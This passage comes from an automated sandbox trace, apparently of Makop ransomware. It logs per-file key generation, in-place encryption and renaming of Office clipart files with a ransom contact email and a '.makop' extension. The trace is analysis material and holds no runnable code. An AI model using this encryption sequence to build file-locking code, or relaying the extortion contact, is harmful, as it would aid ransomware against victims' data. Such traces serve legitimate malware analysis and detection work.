lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.958] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.958] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.958] GetProcessHeap () returned 0x48a0000 [0114.958] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0114.958] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0114.958] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.958] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0114.959] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.959] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0114.959] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0114.959] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0114.959] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.960] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.960] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.960] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.960] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x578, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x578, lpOverlapped=0x0) returned 1 [0114.960] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x580, dwBufLen=0x580 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x580) returned 1 [0114.960] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.960] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x580, lpOverlapped=0x0) returned 1 [0114.960] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.960] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.961] SetEndOfFile (hFile=0xf0) returned 1 [0114.967] GetProcessHeap () returned 0x48a0000 [0114.967] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0114.967] GetProcessHeap () returned 0x48a0000 [0114.967] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0114.967] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0114.967] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0114.968] CloseHandle (hObject=0xf0) returned 1 [0114.968] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aad3100, ftCreationTime.dwHighDateTime=0x1bd4b1b, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1aad3100, ftLastWriteTime.dwHighDateTime=0x1bd4b1b, nFileSizeHigh=0x0, nFileSizeLow=0x3158, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00612_.WMF", cAlternateFileName="")) returned 1 [0114.968] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0114.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.970] GetProcessHeap () returned 0x48a0000 [0114.970] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.971] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.971] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.971] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.975] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.975] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.975] GetProcessHeap () returned 0x48a0000 [0114.975] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0114.975] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0114.975] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.975] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0114.976] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.976] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0114.976] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0114.976] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0114.976] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.976] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.976] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.977] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.977] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3158, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3158, lpOverlapped=0x0) returned 1 [0114.978] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3160, dwBufLen=0x3160 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3160) returned 1 [0114.978] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.979] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3160, lpOverlapped=0x0) returned 1 [0114.979] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.979] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3234, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.979] SetEndOfFile (hFile=0xf0) returned 1 [0114.986] GetProcessHeap () returned 0x48a0000 [0114.986] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0114.986] GetProcessHeap () returned 0x48a0000 [0114.986] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0114.986] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0114.986] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0114.987] CloseHandle (hObject=0xf0) returned 1 [0114.988] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98237200, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98237200, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x2994, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00623_.WMF", cAlternateFileName="")) returned 1 [0114.988] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0114.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.988] GetProcessHeap () returned 0x48a0000 [0114.988] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.988] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.989] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.989] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0115.002] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.003] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.003] GetProcessHeap () returned 0x48a0000 [0115.003] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.003] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.003] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.003] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.003] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.003] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.003] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.004] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.004] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.004] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.004] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.004] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.004] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2994, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2994, lpOverlapped=0x0) returned 1 [0115.006] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x29a0, dwBufLen=0x29a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x29a0) returned 1 [0115.006] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.006] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x29a0, lpOverlapped=0x0) returned 1 [0115.006] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.006] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.006] SetEndOfFile (hFile=0xf0) returned 1 [0115.012] GetProcessHeap () returned 0x48a0000 [0115.012] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.013] GetProcessHeap () returned 0x48a0000 [0115.013] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.013] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.013] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.017] CloseHandle (hObject=0xf0) returned 1 [0115.018] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b873a00, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b873a00, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x844, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00625_.WMF", cAlternateFileName="")) returned 1 [0115.018] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0115.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.019] GetProcessHeap () returned 0x48a0000 [0115.019] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.019] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.019] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.020] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0115.024] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.024] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.024] GetProcessHeap () returned 0x48a0000 [0115.024] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.024] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.024] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.024] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.024] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.025] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.025] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.025] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.025] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.025] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.025] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.025] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.026] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x844, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x844, lpOverlapped=0x0) returned 1 [0115.026] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x850, dwBufLen=0x850 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x850) returned 1 [0115.026] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.026] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x850, lpOverlapped=0x0) returned 1 [0115.026] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.026] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.026] SetEndOfFile (hFile=0xf0) returned 1 [0115.034] GetProcessHeap () returned 0x48a0000 [0115.035] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.035] GetProcessHeap () returned 0x48a0000 [0115.035] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.035] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.035] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.036] CloseHandle (hObject=0xf0) returned 1 [0115.036] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5d7f800, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5d7f800, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x620, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00636_.WMF", cAlternateFileName="")) returned 1 [0115.036] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0115.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), 